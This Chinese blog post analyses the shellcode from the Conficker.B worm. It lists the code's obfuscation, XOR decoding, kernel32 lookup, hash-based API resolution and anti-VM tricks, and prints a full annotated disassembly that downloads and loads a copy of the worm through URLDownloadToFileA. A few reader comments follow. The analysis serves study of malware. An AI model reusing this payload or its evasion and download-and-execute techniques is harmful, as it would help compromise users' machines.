首页 > 恶意代码 > Conficker/Kido ShellCode

Conficker/Kido ShellCode

考虑到这个学期有门课有个缓冲区溢出的大实验,所以还是决定认认真真的翻一翻《0Day安全 软件漏洞分析技术》上面的相关章节,快速阅读前三章,基本是讲解基本栈溢出的利用以及ShellCode的编写,因为以前也简单的玩过,所以也没什么问题。结合前段时间从Conficker.B中提取出来的ShellCode,简单做点笔记。

Conficker.B内的ShellCode的基本特点是:
1. 代码混淆:开头的两条指令共用了一个字节,干扰反汇编指令
2. 代码重定位:call/pop获取当前某个字节的虚拟地址,然后通过偏移访问特定位置的数据
3. 解码:在开头的Stub程序负责对后面的ShellCode进行解码(XOR 0xC4),MS(0x534D)表示结束标记
4. kernel32.dll基地址获取:通过InInitializationOrderModuleList获取kernel32.dll基地址,该方法在Win7下无效
5. 函数地址获取:解析DLL导出表,通过HASH值查找目标函数
6. 反虚拟机:调用sldt eax,如果是虚拟机后面的HASH计算将会出错,下载逻辑不会执行
7. 代码逻辑:URLDownloadToFileA下载自身副本,LoadLibraryA加载副本,ExitThread退出

seg000:00000000 ; ===========================================================================
seg000:00000000
seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000          segment byte public 'CODE' use32
seg000:00000000                 assume cs:seg000
seg000:00000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000                 db 0E8h                 ; E8 FFFFFFFF ; call 00000004
seg000:00000001                 db 0FFh                 ; 两条指令公用公共字节干扰反汇编
seg000:00000002                 db 0FFh
seg000:00000003                 db 0FFh
seg000:00000004 ; ---------------------------------------------------------------------------
seg000:00000004                 inc     edx             ; 跳转到这里 (FF C2)
seg000:00000006                 pop     edi             ; 得到字节C2处的内存地址(call压入的eip)
seg000:00000007                 lea     ecx, [edi+10h]  ; 00000005 + 00000010 = 00000015
seg000:00000007                                         ; 也就是代码重定位的功能了
seg000:0000000A
seg000:0000000A fDecode:                                ; CODE XREF: seg000:00000013 j
seg000:0000000A                 xor     byte ptr [ecx], 0C4h ; xor 解密ShellCode
seg000:0000000D                 inc     ecx
seg000:0000000E                 cmp     word ptr [ecx], 534Dh ; 结束符 MS
seg000:00000013                 jnz     short fDecode   ; ShellCode解码Stub
seg000:00000015                 cld                     ; ShellCode开始
seg000:00000016                 push    2
seg000:00000018                 pop     ecx
seg000:00000019                 mov     eax, fs:[ecx+2Eh] ; fs:[30] -> PEB
seg000:0000001D                 mov     eax, [eax+0Ch]  ; Ldr : _PEB_LDR_DATA
seg000:00000020                 mov     eax, [eax+1Ch]  ; InInitializationOrderModuleList
seg000:00000023                 mov     eax, [eax]      ; 下一个节点
seg000:00000025                 mov     ebx, [eax+8]    ; kernel32.dll基地址
seg000:00000028                 lea     esi, [edi+0A1h] ; 000000A6 -> 768AA260
seg000:0000002E
seg000:0000002E loc_2E:                                 ; CODE XREF: seg000:00000034 j
seg000:0000002E                 call    fnGetProcAddress
seg000:00000033                 push    eax             ; 第一次push ExitThread
seg000:00000034                 loop    loc_2E          ; 第二次push LoadLibraryA
seg000:00000036                 mov     edi, esp
seg000:00000038                 push    esi             ; urlmon
seg000:00000039                 call    dword ptr [edi] ; LoadLibraryA
seg000:0000003B                 xchg    eax, ebx
seg000:0000003C                 add     esi, 7
seg000:0000003F                 call    fnGetProcAddress ; 获取URLDownloadToFileA的地址
seg000:00000044                 xor     edx, edx        ; 0
seg000:00000046                 push    edx             ; 0 ExitThread的参数
seg000:00000047                 push    edx             ; "\0\0\0\0"
seg000:00000048                 mov     ecx, esp
seg000:0000004A                 mov     word ptr [ecx], '.x' ; "\0\0\0\0" -> "x.\0\0"
seg000:0000004F                 push    ecx             ; LoadLibraryA的参数 加载下载后的文件
seg000:00000050                 push    dword ptr [edi+4] ; LoadLibraryA执行完毕返回到ExitThread
seg000:00000053                 push    edx             ; LPBINDSTATUSCALLBACK lpfnCB <- NULL
seg000:00000054                 push    edx             ; DWORD dwReserved <- NULL
seg000:00000055                 push    ecx             ; LPCTSTR szFileName <- "x."
seg000:00000056                 push    esi             ; LPCTSTR szURL <- 动态Patch的URL
seg000:00000057                 push    edx             ; LPUNKNOWN pCaller <- NULL
seg000:00000058                 push    dword ptr [edi] ; URLDownloadToFileA执行完毕返回到LoadLibraryA
seg000:0000005A                 jmp     eax             ; jmp URLDownloadToFileA
seg000:0000005C
seg000:0000005C ; =============== S U B R O U T I N E =======================================
seg000:0000005C
seg000:0000005C ; 参数: esi 被查找函数的HASH
seg000:0000005C ;       ebx DLL模块的基地址
seg000:0000005C ; 返回: eax 被查找函数的地址
seg000:0000005C
seg000:0000005C fnGetProcAddress proc near              ; CODE XREF: seg000:loc_2E p
seg000:0000005C                                         ; seg000:0000003F p
seg000:0000005C                 lodsd                   ; eax <- [esi] then esi += 4
seg000:0000005D                 push    ecx
seg000:0000005E                 push    esi
seg000:0000005F                 xchg    eax, ebp
seg000:00000060                 mov     ecx, [ebx+3Ch]  ; NtHeader偏移
seg000:00000063                 mov     ecx, [ebx+ecx+78h] ; 数据目录表-导出表(RVA)
seg000:00000067                 add     ecx, ebx        ; 导出表地址
seg000:00000069                 xor     esi, esi
seg000:0000006B
seg000:0000006B loc_6B:                                 ; CODE XREF: fnGetProcAddress+32 j
seg000:0000006B                 lea     edx, [ebx+esi*4]
seg000:0000006E                 add     edx, [ecx+20h]  ; AddressOfNames (RVA)
seg000:00000071                 mov     edx, [edx]      ; 取数组元素(RVA)
seg000:00000073                 add     edx, ebx        ; 名字地址
seg000:00000075                 sldt    eax             ; 在真实机器上eax = 0 (反虚拟机?)
seg000:00000078                 movsx   eax, ax
seg000:0000007B
seg000:0000007B loc_7B:                                 ; CODE XREF: fnGetProcAddress+28 j
seg000:0000007B                 rol     eax, 7          ; 计算HASH
seg000:0000007E                 xor     al, [edx]
seg000:00000080                 inc     edx
seg000:00000081                 cmp     byte ptr [edx], 0
seg000:00000084                 jnz     short loc_7B
seg000:00000086                 cmp     eax, ebp        ; HASH值比较(由[esi]传入)
seg000:00000088                 jz      short loc_90
seg000:0000008A                 inc     esi
seg000:0000008B                 cmp     esi, [ecx+18h]  ; NumberOfNames
seg000:0000008E                 jb      short loc_6B    ; 下一个API
seg000:00000090
seg000:00000090 loc_90:                                 ; CODE XREF: fnGetProcAddress+2C j
seg000:00000090                 mov     edx, [ecx+24h]  ; AddressOfNameOrdinals(RVA)
seg000:00000093                 add     edx, ebx
seg000:00000095                 movzx   edx, word ptr [edx+esi*2]
seg000:00000099                 mov     eax, [ecx+1Ch]  ; AddressOfFunctions(RVA)
seg000:0000009C                 add     eax, ebx
seg000:0000009E                 mov     eax, [eax+edx*4]
seg000:000000A1                 add     eax, ebx        ; 返回函数地址
seg000:000000A3                 pop     esi
seg000:000000A4                 pop     ecx
seg000:000000A5                 retn
seg000:000000A5 fnGetProcAddress endp
seg000:000000A5
seg000:000000A5 ; ---------------------------------------------------------------------------
seg000:000000A6                 dd 768AA260h            ; ExitThread
seg000:000000AA                 dd 0C8AC8026h           ; LoadLibraryA
seg000:000000AE aUrlmon         db 'urlmon',0           ; urlmon.dll
seg000:000000B5                 dd 0D95D2399h           ; URLDownloadToFileA
seg000:000000B9                 db    0                 ; 000000B9 这里填充下载URL
seg000:000000BA                 db    0
seg000:000000BB                 db    0
seg000:000000BC                 db 0E8h ; ?

有人说可以从InInitializationOrderModuleList获取kernel32.dll基地址的通用方法:鉴于kernel32.dll位于该链表的前面几个DLL之中,且各个DLL的名字长度不一样,所以只需要找到第一个名字长度与kernel32.dll名字长度一致的DLL即可,具体可以阅读下讨论帖子:Win 7下定位kernel32.dll基址及shellcode编写


觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> Conficker/Kido ShellCode
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


更多



  1. 2012年9月17日01:40 | #1

    只用过Linux下的Shell,没玩过ShellCode。。。

    [回复]

    代码疯子 回复:

    @TekTea, Linux我就用几条常用命令,需要的时候才用

    [回复]

  2. 2012年9月26日20:45 | #2

    感觉你们这样的人才称得上是搞计算机的,像我们这个做简单应用开发的 就是被计算机搞的。
    真厉害。

    [回复]

    代码疯子 回复:

    @lfsfxy9, 居然是CSDN博客专家,膜拜之。有钱赚、有乐趣、有意义……就好,另外感觉应用开发比干我这行的要好。

    [回复]

  3. b1u3sky
    2013年9月2日23:43 | #3

    敢问楼主你的shellcode提取出来后是如何确定其反汇编代码的呀?

    [回复]

    代码疯子 回复:

    @b1u3sky, 用IDA反汇编就行了啊,后面加密的部分先自己解密一下

    [回复]

    b1u3sky 回复:

    @代码疯子, 楼主逆向能力很强呀,我用ida反汇编这段shellcode的时候有些指令不能正常识别不知道什么原因

    [回复]

    代码疯子 回复:

    @b1u3sky, “开头的两条指令共用了一个字节,干扰反汇编指令”,这里你是否有处理?还有字符串什么的,自己处理下就好

    [回复]

  1. 本文目前尚无任何 trackbacks 和 pingbacks.